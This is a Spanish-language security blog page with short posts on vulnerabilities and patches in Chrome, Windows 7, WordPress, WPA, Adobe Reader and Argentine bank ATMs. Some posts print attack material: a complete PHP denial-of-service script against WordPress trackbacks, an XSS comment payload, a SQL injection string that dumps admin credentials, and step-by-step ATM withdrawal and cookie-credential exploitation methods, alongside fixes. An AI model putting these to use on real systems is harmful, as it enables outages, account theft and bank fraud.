25

Si -- No

Recompensa de 500 dólares por descubrir agujeros en Chrome

ElPerro    Novedades, Seguridad, Vulnes, Webeando
agujeros, chrome, chromiun, dolares, google, hacking, recomensa, vulnerabilidad, vulnerabilidades, xss

Chrome, el navegador abierto de Google, está ofreciendo una recompensa económica para que informáticos externos trabajen en la búsqueda de fallos en el navegador.

Chromiun, que está detrás del nacimiento de Chrome, reconoce que la iniciativa no es original, sino que la implantó Mozilla y con considerable éxito. La recompensa comienza en los U$S 500 para fallos sencillos y llega a los U$S 1.337 por los más graves. El dinero saldrá de las arcas de Google….se podrían haber jugado un poco mas no?

Cualquier tipo de agujero puede ser recompensado, y no sólo los de seguridad. Quedan exentos del concurso las personas que han trabajado en la escritura del código de Chrome y de Chromium Project.

Vía: ElPaís.com

1

Si -- No

Vulnerabilidad en Windows 7

Vazquez Roberto Carlos    Novedades, Seguridad, Vulnes

Microsoft publicó el primer anuncio de vulnerabilidad de las denominadas “zero day” que afecta exclusivamente a Windows 7 y a Windows server 2008. Se trata de un problema del Server Message Block que permite ataques de denegación de servicio. Según el boletín de seguridad que ha publicado Microsoft, esta vulnerabilidad no permite tomar el control del ordenador ni instalar código malicioso, sino simplemente bloquearlo. No se anunció fecha para la publicación de un parche.

Windows 7 ya puede “presumir” de tener el primer “zero day exploit”, la primera vulnerabilidad detectada y que aún no dispone de parche para solucionarla y que es exclusiva de Windows 7. Microsoft ha publicado en su boletín que ha detectado este agujero de seguridad en el sistema que aprovecha un problema con el SMB (Server Message Block) y que es capaz de bloquear el ordenador utilizando una URL especialmente diseñada para aprovechar esta vulnerabilidad.

En el boletín de seguridad publicado por Microsoft se aclara que la empresa es consciente que el código de la vulnerabilidad está publicado pero que no tiene noticia de que se estén produciendo ataques aprovechando este problema. Según el análisis de seguridad, la vulnerabilidad solamente permite bloquear la computadora, no tomar el control del mismo o introducir código malicioso.

Aunque se afirma que se trabaja en publicar un parche que solucione el problema, no se ha anunciado ninguna fecha para su salida. Solamente se aclara que “Microsoft tomará la acción apropiada para ayudar a proteger a sus consumidores”. Mientras tanto en el propio boletín se recomienda bloquear con el firewall los puertos TCP 139 y 445.

Según expertos en seguridad, se trata de puertos que normalmente es bueno tener bloqueados, sobre todo en entornos empresariales, pues son utilizados por numerosos ataques.

0

Si -- No

Ikee: primer virus para iPhone

ElPerro    Gadgets, Seguridad, Vulnes

El aumento de popularidad de los smartphones en las telecomunicaciones e informática móvil mundial traerá consecuencias negativas como el auge de malware en la plataforma. En especial para el iPhone, uno de los más extendidos, que ya cuenta oficialmente con su primer virus, aunque sólo afecta a equipos desbloqueados y en principio es inofensivo y puede ser fácilmente eliminado. Sin embargo, la publicidad del virus y la publicación del código fuente permitirá otros gusanos no tan bondadosos.

Un diseñador web australiano dice haber creado el primer virus para el teléfono inteligente de Apple y el reproductor iPod touch. El gusano no es destructivo y únicamente cambia el fondo de pantalla del usuario por una imagen del cantante inglés de música pop Rick Astley.

Ashley Towns, pseudónimo del autor del gusano, explicó que “el virus en sí no es malicioso y no está ahí para hacer daño, simplemente está para divertirse y para despertar a la gente un poco concienciando de la necesidad de proteger el celular con una contraseña segura”.

Towns infectó inicialmente unos 100 teléfonos aunque al propagarse a través de los contactos ya no es posible controlar la infección, en principio en Australia, aunque ya estará circulando por medio mundo.

El virus puede ser eliminado fácilmente cambiando la contraseña del terminal y borrando algunos archivos, pero la publicación del código fuente completo del programa malicioso y de sus variantes permitirá la llegada de otro tipo de malware que no se limitará a ilustrar a los usuarios con la imagen del cantante favorito del autor.

0

Si -- No

Fallo de seguridad en Wordpress

ElPerro    Seguridad, Vulnes

Hace apenas un par de días atrás José Carlos Norte notificaba acerca de un fallo en todas las versiones de Wordpress que permitía a un atacante ejecutar una rutina de denegación de servicios en los servidores que estén brindando alojamiento a un sitio desarrollado con Wordpress.

Dicho fallo radica en el archivo wp-trackback.php al no validar como corresponde la variable $charset y de esta manera permite el paso de peticiones del tipo POST especialmente diseñada con una cantidad indeterminada de parámetros, causando de esta manera el consumo masivo de recursos en el servidor afectado.

El exploit
El siguiente código nos permitirá saber si nuestro sitio web es o no vulnerable a tal cobarde ataque y de esa manera podremos proceder a realizar el patcheo correspondiente al bug.

//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data['path']; } $path = trim($path,’/’); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data['host'],80); if(!$fp) { if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

La solución
Hay tres maneras de evitar ser víctimas de este fallo. Una sería modificando el parámetro php_memory_limit del php.ini en la configuración de nuestro servidor y con esto evitaríamos que las aplicaciones que allí se ejecuten consuman solo los recursos que nosostros le dispongamos, la segunda es consultar si nuestro hosting posee mod_security, ya que filtraría los paquetes “malintencionados” o masivos y la tercera es simplemente, modificar el archivo wp-trackback.php
Nuevamente, José Carlos Norte nos brinda la solución:
La linea 45 del archivo wp-trackback.php: $charset = $_POST['charset'];
Debe ser reemplaza por el siguiente código:
$charset = str_replace(”,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }

También podemos encontrar soluciones a diversos inconvenientes de seguridad en un “whitepaper” provisto por la gente de DragonJar.org en donde nos sugieren el uso de otro tipo de técnicas para mantener seguro nuestro blog como el WP-IDS, un mod para Wordpress modificado en el mismo paper.

El whitepaper de DragonJar abarca los siguientes temas
1. Introducción
2. Instalando Wordpress
2.1. Accediendo a las tablas de Wordpress
2.2. Cambiando el prefijo de las tablas
2.3. Antes de la instalación
2.4. Cambio manualmente
2.5. Através del cambiador de prefijos de Wordpress
3. Preparando el Blog
3.1. Cambiando el nombre de usuario “admin”
3.2. Creando un nuevo usuario con acceso limitado
4. Endureciendo la instalación de WP
4.1. Restringiendo wp-content y wp-includes
4.2. Restringiendo wp-admin
4.2.1. Bloquear todo excepto tu IP
4.3. Contraseña requerida – .htpasswd
4.3.1 El archivo .htaccess
4.3.2 El archivo .htpasswd
5. Plugins necesarios
5.1 WPIDS – Detector de intrusos
5.2 Wordpress Plugin Tracker – ¿Estas actualizado?
5.3 Wordpress Online Security Scanner

Nota: El documento se encuentra en inglés.

Descarga

Vía | DragonJar.org | José Carlos Norte

0

Si -- No

Versión pirateada de Windows 7 crea una botnet de 25.000 PC

ElPerro    Novedades, Seguridad, Vulnes

Una de las versiones piratas de Windows 7 RC que surcan la red de redes contienen un troyano que ha creado una botnet de 25.000 PCs y está mandando spam y albergando malware para otros, enviando ataques DDoS y phishing, entre otros asuntos. Dicha versión de Windows 7 ha hecho que la botnet crezca a un ritmo de 1.600 nuevas PCs al día, por lo que hay que evitar este tipo de fuentes para probar Windows 7. De todas maneras, Windows 7 RC se podía descargar gratuitamente desde Microsoft en la fase de prueba.

Una versión distribuida a través de P2P de Windows 7 RC integraba un troyano que tras la instalación descargaba de forma automática malware desde la web de su creador, por lo que éste era pagado. La versión pirateada en cuestión afectó a más de 25.000 personas, un 10% de las cuales de Estados Unidos y un 7% de los Países Bajos e Italia.

Teniendo en cuenta que Microsoft comenzó un periodo de prueba gratuito de dicha versión en la que los usuarios podían conseguir de forma legítima su clave de uso hasta mediados de 2010, es poco inteligente intentar descargar la versión Release Candidate de Windows 7 a través de P2P. En esta ocasión queda demostrado cómo usuarios modifican las versiones originales integrando malware y troyanos. Una botnet de 25.000 PCs puede saturar muchas conexiones y páginas web de compañías, por lo que se convierte en un problema potencial grave.

Sin embargo, desde Damballa, compañía de seguridad, anunciaron que “cualquier nueva instalación de esta distribución pirateada de Windows 7 RC es inaccesible por parte del creador de la botnet”.

0

Si -- No

Cifrado WPA Vulnerable (II)

ElPerro    Novedades, Seguridad, Vulnes

Hace algunos años, las redes inalámbricas estaban empezando a tomar forma y los routers que ofrecían las compañías de ADSL venían sin ningún tipo de cifrado, pero a día de hoy ha cambiado mucho, proliferando los cifrados WEP y WPA. El primero de ellos es completamente vulnerable a día de hoy, ya que si se consiguen capturar un número suficiente de paquetes es posible extraer la clave e incluso hay distribuciones Live/Linux que son capaces de esto en pocos minutos sin requerir demasiado conocimiento por parte del atacante. El protocolo WPA es otro cantar, o al menos hasta la demostración de 15 minutos que tendrá lugar en Tokio.

El a día de hoy altamente inseguro protocolo de cifrado WEP está siendo desplazado por WPA/TKIP. Aunque ambos hacen uso de cifrado RC4 que es vulnerable desde 2001, TKIP es mucho más seguro debido a que genera claves únicas para cada paquete de datos, haciendo el ataque por fuerza bruta impracticable desde el punto de vista de recursos y tiempo, pero según parece podríamos hablar de un cifrado vulnerable a un tipo de ataque.

Algo había comentado en este blog hace un tiempo. En la conferencia de seguirdad PacSec del año pasado, Tokio, Erik Tews y Matin Beck presentaron un ataque teórico contra WPA/TKIP que podría ser usado para obtener la clave maestra TKIP en cuestión de 12 a 15 minutos.

Dragos Ruiu, organizador de PacSec, afirmó que tras la demostración teórica del año pasado era cuestión de tiempo la implementación física, por lo que podía darse como vulnerado el protocolo WPA/TKIP. Tenía razón ya que los investigadores Toshihiro Ohigashi de la Universidad de Hiroshima y Masakatu Morii de la Universidad de Kobe llevaron la técnica al siguiente nivel poniendo el ataque en práctica. Van a hacer una demostración en la próxima PacSec que será en septiembre de este año.

Mientras tanto se publicó un PDF bajo el nombre “A Practical Message Falsification Attack on WPA” en el que comentan los pasos a seguir y que en el mejor de los pasos se puede conseguir resultados positivos en cuestión de un minuto. Para mantener la red segura, a día de hoy se recomienda utilizar WPA2, que no es vulnerable y, además, según los expertos seguirá así por mucho tiempo. El único problema es si poseés una placa inalámbrica que no soporte este cifrado (puede pasar). Deberías actualizarte.

0

Si -- No

XSS en Wordpress 2.8.1 – Detalle de la vulnerabilidad

ElPerro    Seguridad, Vulnes

Me llamaba la atención que a los pocos días de haber actualziado a la versión 2.8.1, me apareciera un cartel notificándome lo siguiente:

¡WordPress 2.8.2 está disponible! Por favor, actualiza tu blog.

No hice mucho caso porque creí que sería alguna mejora medio estúpida de las que suelen hacer a última hora luego de haber sacado una nueva versión pero por si acaso, entré al blog oficial de Wordpress y me encontré conque había sido descubierta una vulnerabilidad del tipo XSS en Wordpress 2.8.1 y que obviamente, era necesario repararla.

Me enteré tarde
No, no me defacearon. Simplemente mucha gente se hizo eco de esta noticia antes que yo y por eso demoré mas tiempo en publicarla

Prueba de concepto
Según leía en otros sitios, la explotación de la vulnerabilidad recae en el formulario de comentarios y es la siguiente:
Al ingresar nuestros comentarios, Wordpress nos pide “Nombre”, “Email”, “URL” y “Mensaje”. La explotación del fallo proviene del campo URL en donde podemos ingresar un simple código javascript y obtener datos importantes del administrador de la web atacada

http://’onMouseOver=’javascript:alert(String.fromCharCode(88,83,83))”
Con el ingreso de la url mal formada obtenemos el cierre del atributo HREF de la etiqueta de hipervínculo

Algunos sitios web coinciden en que las versiones vulnerables son desde la 2.7 hasta la 2.8.1 de Wordpress.

Mucha de la peligrosidad de esta vulnerabilidad es debido a que los comentarios con estas “URL’s maliciosas” no son solo mostrados en las notas en las que fueron enviados, si no también dentro del panel de administración, abriendo la posibilidad de ataques mas peligrosos por parte de los atacantes.
Los correos-electrónicos también sufrían de esta falta de sanitización pero debido a que los caracteres a usar son limitados por diferentes filtros (que no dejan ni enviar el correo-electrónico con un formato “malicioso”) es que esta misma no puede ser explotada.

Fuente: Wordpress.org
Prueba de concepto: http://g30rg3x.com
Descarga de Wordpress 2.8.2: Wordpress.org

GreetZ!

0

Si -- No

Primer Parche de seguridad para Firefox 3.5

ElPerro    Novedades, Seguridad, Vulnes

Cuánto tiempo lleva Firefox 3.5 en las manos de miles de navegantes y ya hay un parche de seguridad? Bien, con esta nota me encontraba hace un par de horitas…Fresquita, fresquita.

Mozilla anunció el primer parche para su recién lanzado Firefox 3.5. Un parche que llegará en las próximas semanas para solucionar diversos agujeros de seguridad que no estaban resueltos en la versión final del navegador.

Firefox 3.5.1 será la primera actualización del recién estrenado Firefox 3.5 y está prevista su llegada para mediados o finales de julio. Esta actualización incluirá parches para, al menos, tres agujeros y “topcrashes”, el término que emplea Mozilla para describir errores frecuentes que hacen que se rompa la conexión a Internet cuando se utiliza el navegador. Como muchas aplicaciones, Firefox pregunta a los usuarios si quieren informar de estos incidentes cuando se producen.

“El objetivo de esta actualización será una mejora rápida de estos topcrashes y agujeros”, explica Mozilla.

Uno de estos incidentes frecuentes está relacionado con TraceMonkey, la nueva y más rápida tecnología de JavaScript que ha debutado con Firefox 3.5. Al menos uno de los agujeros fue solucionado una semana antes de que esta nueva versión del navegador estuviera oficialmente disponible.

Se calcula que se han descargado unas 6,5 millones de copias de Firefox 3.5 en las primeras 36 horas de vida de Firefox 3.5, según el contador en tiempo real que Mozilla ha habilitado. Un dato que contrasta con los 8,3 millones de descargas que consiguió Firefox 3.0 en sus primeras 24 horas de vida.

Fuente: IDG.es

GreetZ!

0

Si -- No

Como ver fotos de alguien en Facebook sin tener que agregarlo

ElPerro    Privado, Seguridad, Vulnes

Editado 24hs después
La bronca
Hace un rato uno de mis contactos me muestra que este truco es bastante conocido en el ambiente underground…Me quiero cortar las pelotas…
Este truco lo encontré por error tratando de hacer algunas aplicaciones para integrar mi blog a mi cuenta de Facebook al 100% en el área de fotografías con códigos “propios” sin usar las APP predefinidas…

Voy a ir directo al punto porque sino se me hace muy largo el post.

click para agrandar

Leer mas…

0

Si -- No

Cómo hackearon los Padrones Nacionales?

ElPerro    Mi Trabajo, Privado, Seguridad, Vulnes

Visto y considerando que nadie me dió ni tronco de pelota en algo tan delicado como el ataque al sitio web del Padrón Electoral Nacional, decidí volcarlo en este post.
Obviamente, solo accesible para unos pocos No quiero que todo el mundo ande haciéndose el hacker y terminemos por reventar un servicio tan útil como ha resultado este sitio web en las últimas semanas.
EDITADO: Ahora que arreglaron el bug, hago público el post

El ataque fué de lo mas simple
Ni siquiera son necesarios conocimientos previos de programación o seguridad web dado que el error recae en el almacenamiento de las cookies.

El programador dispuso al programa generar una cookie por el ingreso al sistema de consulta al que todos tenemos acceso simplemente con tipear http://www.padrones.gov.ar, esa cookie queda almacenada en nuestra computadora de la misma manera que miles y miles de cookies de los sitios web que navegamos.
Ahora bien…el fragmento de información [cookie] almacenado en nuestro disco rígido no es nada mas y nada menos que el nombre de usuario y clave de acceso al sistema de administración y es muy simple de ver con un simple editor de cookies o entrando a la carpeta donde se almacenan los archivos temporales de Internet.

Veamos que ocurre con Firefox

No hay mucho mas que decir verdad?
Solo resta buscar el directorio de administración.
Eso me llevó nada mas que unos pocos segundos, el directorio era “admin”.

Tiempo total desde el ingreso a la página hasta el acceso al sistema de administración: 5 minutos, 37 segundos [cornometrado con el celular]

Mas imágenes en Flickr

GreetZ!

0

Si -- No

Protegido: Como recuperar un dominio .ar?

ElPerro    Privado, Seguridad, Tutoriales, Vulnes

1

Si -- No

Análisis de seguridad web – SQL Injections

ElPerro    Anecdotario, Mi Trabajo, Seguridad, Vulnes

Hace un par de días vienen atacando la web La Ciudad Del Rock, sitio de Radio Estación K2 de la ciudad de Necochea.
El sitio fué atacado con una simple SQL Injection:

-1+union+select+1,user,3,pass,5+from+admin_usuario

Tomo conocimiento de este ataque gracias a este post en un foro que orgullosamente modero:
Post indivualizado: http://foro.latinohack.com/showpost.php?p=33380&postcount=42
Post General: http://foro.latinohack.com/showthread.php?t=8662&page=5

Si leés el post general, armate de paciencia para entender el lío que se armó.
Al ver el hackeo y dados los problemas que estaba teniendo con ese usuario Ziion2000, decido efectuar lo que en la jerga I.T. se denomina como contra-deface o contra-hackeo y que consiste en efectuar un ataque de similares características pero con una finalidad opuesta, es decir, reparar el daño causado.

La SQL Injection es una práctica común entre los Script Kiddies y es una de las mas populares entre los programadores a la hora de probar sus sistemas.
Aclaración: No considero que un Script Kiddie sea un lammer siempre y cuando utilice ese conocimiento [que no es poco] para bien.

Una solución simple para evitar las SQL Injection sería con un if tomando también que el valor de ID sea numérico y se hace un isset.
Como ejemplo tenemos el código vulnerable de la gente de LaCiudadDelRock.com.ar:

Expuesto a SQLInjection: $id = $_GET['id']; [Permite que la variable ID pueda tener CUALQUIER VALOR, lo que da pie a una posible SQL Injection]

Solución: $id = isset($_REQUEST['id']) ? (int)$_REQUEST['id'] : 0; [Verifica el valor de la variable ID, si este no es entero, le da valor de 0, lo que cancela cualquier dato que le hayamos ingresado]

Pero, qué significa esto que acabo de decir?
Significa que en el primer caso, un valor asignado podrá ser CUALQUIER COSA, es decir, dejará pasar las consultas del estilo: id=-1, id=-a, etc…
En cambio, en el segundo caso, podemos filtrar solo valores enteros, es decir: id=565 y NADA MAS
Esto se da en la mayoría de los casos en donde las variables son numéricas. En el caso de variables Alfanuméricas sería:
mysql_real_escape_string, y nos quedaría un filtro como este:

Solución: $id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 0;

Este es un error en el que, por apuro o por simple vagancia [pereza], casi todos los programadores en PHP o ASP con bases SQL recaen.

Nota: Este post contó con la asesoría en programación del Señor Martín López

GreetZ!

0

Si -- No

XSS en CreaTuForo

ElPerro    Seguridad, Vulnes

Un Security Advisory de la mano de Andrés Contreras Guillen quien ya nos había enviado un muy buen material de aporte al blog. Esta vez, vamos con algo del mundo underground, un poquito de Hax00r Activities para arrancar el día.

Qué es Un XSS?

Segun la Wikipedia [que esta en lo cierto]
Su nombre original “Cross Site Scripting”, y renombrado XSS para que no sea confundido con las CSS, (hojas de estilo en cascada), originalmente abarcaba cualquier ataque que permitiera ejecutar código de “scripting”, como VBScript o JavaScript, en el contexto de otro dominio.

Recientemente se acostumbra a llamar a los ataques de XSS “HTML Injection”, sin embargo el término correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador web en sí. El problema está en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (también llamada persistente) o indirecta (también llamada reflejada). Cada una se trata de forma diferente.

Directa: este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como < script > o < iframe >
Indirecta: esta es un tipo de vulnerabilidad muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones.

Bug en Crea Tu Foro:

Se encuentra en el apartado de recomendar web ya que como ven al ejecutar el script alert muestra en poup con XSS como texto.
A esta vulnerabilidad se le puede sacar las cokies de el Panel de Administrador de la web y desfigurar el sitio completo o de algún usuario en particular.

Aviso del Bug Para ElPlog By Andres Contreras Guillen

0

Si -- No

Vulnerabilidad en WPA…

ElPerro    Seguridad, Vulnes

La noticia ha saltado por los medios durante los últimos días: se ha roto la protección WPA. En muchos casos, el tono ha sido alarmista y parecía que tuviéramos que tirar ya nuestro router inalámbrico a la basura. Afortunadamente no es así.

Lo que se ha descubierto ha sido un método para descifrar parte del tráfico que va del router a los ordenadores, modificarlo y volverlo a enviar. Y aunque es una vulnerabilidad suficientemente seria como para tomarla en cuenta, de momento no invalida el uso de este protocolo ni de los dispositivos que lo implementan.

En soluciones anteriores, como el protocolo WEP se consiguió romperlo de una manera total. Mediante el análisis de tráfico se lograba obtener la clave usada para conectarse a la red, consiguiendo acceso como cualquier otro usuario.

En el caso de este ataque contra WPA, se ha encontrado una vulnerabilidad, la cual no permite acceder a la red inalámbrica, sino solo a algunos de los paquetes. De hecho, solo los que van desde el router al ordenador, pero no los que lo hacen en sentido contrario.

La vulnerabilidad ha sido encontrada en el protocolo TKIP pero no afecta en caso de que utilicemos AES para el cifrado, por lo cual si todos nuestros dispositivos lo soportan esta es de momento la mejor opción. Aunque si todos ellos soportan WPA2 podemos pasarnos a este protocolo, pero su uso todavía no está demasiado extendido.

En cualquier caso, usando WPA debemos tener en cuenta el escoger una clave suficientemente segura, con una buena longitud y mezclando caracteres. Mi recomendación es de, al menos, 10 carácteres, usando tanto letras en mayúsculas y minúsculas como cifras y signos de puntuación. Con ello evitaremos ataques de diccionario que consigan averiguar nuestra clave mediante múltiples pruebas de combinaciones.

Fuente: Xataka

0

Si -- No

Red Link y la re p…

ElPerro    Mi Trabajo, Seguridad, Vulnes

Bueh!…Como si fuera poco…ahora los sistemas de Red Link poseen OTRO error producto a intentar reparar el reportado hace unos cuantos meses atrás y que publiqué hace unos días…Paso a detallar.

Antes, como había explicado en un post anterior, podías literalmente robarle al banco debido a un error ya subsanado por Red Link…Ahora es el banco el que te roba [No, si estos no pierden una!!!].

El Error
Es mucho mas simple que el anterior: Cuando ingresás los datos de la suma que quieras extraer de tu cuenta bancaria, el sistema corrobora tu saldo, al hacerlo, el sistema autoriza la entrega del dinero…PERO!!!…no corrobora CUANDO DINERO HAY EN EL CAJERO, entonces descuenta el monto de tu cuenta bancaria antes de descontarlo del monto del cajero, entonces es donde viene el problema porque cuando quiera entregarte la suma monetaria, simplemente arrojará un mensaje de error diciendo “La operación no puede realizarse, límite disponible $xxx,xx” y cuando hagas una consulta de saldo verás que el dinero, pese a que el cajero automático no te lo entregó, te fué descontado de tu cuenta.

Una de cal y una de arena
En otras palabras, el dinero se descuenta de tu cuenta bancaria sin que te lo entregue y eso es gracias a que al querer reparar el error anterior lo hicieron mal…muy mal…

Ya fué reportado por ENÉSIMA VEZ [mas por el hecho de que yo mismo lo sufrí ] Veremos que pasa esta vez.

Saludos!

0

Si -- No

Errores en cajeros ATM de Red Link

ElPerro    Mi Trabajo, Seguridad, Vulnes

Hace poco menos de seis meses vengo rastreando un error en los cajeros automáticos de la Red Link en Argentina.
Esperé a que pasara un tiempo prudente para reportarlo debido a que no sabía si el dinero que extraje de mas de mi cuenta, me sería descontado en los próximos depósitos…Paso a detallar…

Los cajeros automáticos cuentan con un límite finito de dinero, eso lo sabemos todos, es decir, si en el cajero hay $100 y vos querés extraer $110, no vas a poder, simplemente porque la terminal no posee los fondos para brindártelos.

Desarrollo
Si uno intenta extraer mas dinero del que posee el cajero, el sistema devolverá una pantalla de error diciendo: “Límite disponible: $xxx,xx” siempre en números redondos, es decir, nada de “$40,50″ o “$45,00″ ya que el sistema operativo de la unidad está programado solo para brindar sumas múltiplos de 10 y no inferiores a $10 argentinos.

La falla
La misma reside en la cadena que chequea la cantidad de dinero de la cuenta solicitante y la cantidad de dinero dentro del cajero automático. En otras palabras, en lugar de chequear cuanta plata hay en tu cuenta, chequea cuanto dinero posee el cajero automático.

Red Link o el banco operante dispone de un límite de extracción predeterminado de $1000,00 por día, en otras palabras, no podemos extraer mas de esa suma de nuestra cuenta a menos que ampliemos dicho límite. Si nuestro límite de extracción es de $3000,00, queremos extraer $2500,00 y el cajero solo cuenta con $1000,00 es donde aparece la falla, es como la descubrí y es donde aparece el siguiente método de explotación.

Explotación
Al ingresar a un cajero muy concurrido, el mayor miedo de todo cliente es que el mismo no posea dinero en ese momento y entonces comienza a extraer en pequeñas sumas de su cuenta para no tener que repetir la operación por sumas menores hasta que de con la que el cajero puede brindarle.

Si el cajero fué concurrido durante todo el día, es probable que no haya muchos fondos en el mismo, entonces nos dirgimos a él y solicitamos un monto superior al que podría tener:

Suponiendo que tenemos $15000,00 en nuestra cuenta.
1 – Solicitamos un importe muy grande [$9000,00]
2 – El cajero nos devuelve el siguiente mensaje: “No es posible realizar la operación – Límite disponible: $8000″
3 – Asumiendo que nuestro límite de extracción es de $3000,00 por día, solicitamos esa suma. El cajero nos brinda el dinero.
4 – Consultamos el saldo que nos queda disponible [deberían ser $12000,00. Es decir, lo que reste de la suma que teníamos originalmente] y nos devolverá el siguiente resultado:

SU SALDO: (S.E.U.O.) $ 15000,00
DINERO DISPONIBLE $ 3000,00 [este es nuestro límite de extracción por día]
EXTRACCIONES DISP. 3 [esta es la cantidad de veces que podemos sacar dinero sin exceder nuestro límite diario de extracciones]
DISPONIBLE PAGOS LINK $15000,00
DISP. CPRA. EN COMERCIOS $15000,00

El dinero extraído no me lo descontó de mi cuenta??!! No…simplemente el cajero, tomó el dinero de su propio límite monetario, no del límite de la cuenta.

Dejé pasar casi seis meses para reportar el error debido a que, si bien podía sacar dinero sin que me lo quite de mi cuenta, no sabía si luego el reporte de registros del cajero me “acusaría” y me lo descontarían de los próximos depósitos…Lo cual NUNCA OCURRIÓ.

Luego de reportar el error, devolví el dinero al banco y hoy por hoy, se encuentra subsanado así que, ni intenten explotarlo nuevamente porque ya no es válido.

[Un dato extra: Las extracciones no quedaban registradas, era como si el dinero simplemente se evaporara]

Saludos!!!

0

Si -- No

El captcha de Hotmail, vulnerado en 6 segundos

ElPerro    Seguridad, Vulnes

Si, ya sé que es noticia vieja pero no la sabía
FUENTE: http://www.vsantivirus.com/16-04-08.htm

Por Redacción VSAntivirus
vsantivirus@videosoft.net.uy

Websense ha advertido que los spammers han mejorado sus herramientas anti captcha, y pueden atacar a Microsoft Live Mail (Hotmail) en unos 6 segundos. Esto significa que pueden crear decenas o hasta cientos de direcciones falsas en pocos minutos, para usarlas en sus ataques.

Captcha es el sistema diseñado para que se requiera la acción de una persona a la hora de confirmar un dato (en este caso, para crear nuevas direcciones electrónicas). Se trata de una imagen deformada que representa una serie de caracteres que deben ser ingresados mediante el teclado.

La idea de esto es evitar un ataque automatizado, que evidentemente puede crear infinita cantidad de direcciones “sin cansarse”.

Ya hemos publicado varios artículos sobre el tema, incluso hablamos de las llamadas “granjas” de cosechadores (o resolvedores) de captchas. O sea una gran cantidad de personas que simplemente realizan esa tarea por determinada cantidad de horas, enviando sus resultados a un servidor desde donde pueden ser utilizadas automáticamente.

Combinando éste y otros métodos, es posible que se haya perfeccionando el mecanismo, porque ahora, a diferencia de casos anteriores (ataques a Live Mail, Yahoo! y Gmail), los nuevos ataques logran saltar el control de los captchas casi de forma instantánea, consiguiendo registros automatizados mediante programas robots (bots).

No se conocen detalles de como se procesan las imágenes para lograr el éxito, pero el resultado es la creación automática de miles de cuentas que permiten a los spammers enviar grandes cantidades de correo basura.

Seguramente, el spam aumentará aún más en los próximos meses, y es probable que el sistema se aplique a otros servicios de correos gratuitos.

Relacionados:

Los “spammers” asaltan el correo gratuito

http://www.vsantivirus.com/mm-captchasbroken.htm

¿Ha sido roto el captcha de Gmail?

http://www.vsantivirus.com/11-03-08.htm

Spammers rusos vulneran protección de Gmail

http://www.vsantivirus.com/vul-captcha-gmail.htm

0

Si -- No

Apa…Esta es urgente…Vulnerabilidad en Acrobat Reader

ElPerro    Vulnes

Hace unos días Adobe publicaba una versión nueva de Adobe Reader que, según ellos, solucionaba varios inconvenientes en la seguridad. No dieron muchos detalles así que simplemente actualicé a la nueva versión. Lo que no dijeron, era lo siguente:

La versión 8.1.2 apareció el día 6 de febrero, pero no ha sido hasta el día 9 que Idefense hizo público varios boletines que en los que, sin dar detalles técnicos, se adjudicaba el descubrimiento. Según el boletín, Adobe fue notificado de las vulnerabilidades a principios de octubre de 2007. El fallo en concreto que está siendo explotado está relacionado con desbordamientos de memoria intermedia a través de JavaScript. Inmunity, empresa desarrolladora de CANVAS, publicó por su parte en cuanto estuvo disponible la actualización de Adobe, un exploit para sus suscriptores.

Durante el fin de semana se ha sabido que desde al menos el día 20 de enero, uno de estos fallos está siendo aprovechado para instalar malware, en concreto Zonebac. El usuario quedaría infectado con sólo abrir un archivo PDF con Adobe Acrobat anterior a la versión 8.1.2 y el malware se ejecutaría con los permisos del usuario ejecutando la aplicación vulnerable. Zonebac es un malware especializado en adware y el payload del ataque se descarga, como viene siendo habitual, de un servidor remoto (no va incluido en el PDF que está siendo distribuido).

Al parecer Zonebac fue también el malware que instalaba la famosa vulnerabilidad descubierta en octubre y que afectaba a RealPlayer. En aquella ocasión, el fallo se dio a conocer cuando ya estaba siendo aprovechado por malware. Incluso fue descubierto por esa misma razón. También en octubre se detectaron PDFs que aprovechaban una vulnerabilidad compartida entre Microsoft Windows y Adobe Reader, y que también descargaba de forma automática malware en el sistema.

Durante este último fin de semana, ningún antivirus era capaz de detectar un PDF que intentase aprovechar el fallo. Una de las muestras que ha llegado a través de VirusTotal, es hoy detectada por:

AVG Generic_c.GGU
Fortinet W32/AdobeReader!exploit
F-Secure Exploit.Win32.Pidief.a
Kaspersky Exploit.Win32.Pidief.a
Microsoft Exploit:Win32/Pdfjsc.A
Symantec Trojan.Pidief.C
Webwasher-Gateway Exploit.PDF.ZoneBac.gen (suspicious)

Aunque hay que advertir que pronto será detectada por más motores (dado el impacto mediático del asunto). También es necesario tener en cuenta la capacidad de detección del payload en sí, que es descargado por separado, puesto que el archivo PDF es solo el vehículo para la ejecución inadvertida. Este puede ser reemplazado en el servidor en cualquier momento.

Como curiosidad, la muestra que hemos estudiado está creada con iText 2.0.7, una librería Java de código abierto usada para generar y manipular archivos PDF. Y su fecha de creación según el código (que posiblemente no tenga nada que ver con la realidad) es del 28 de enero.

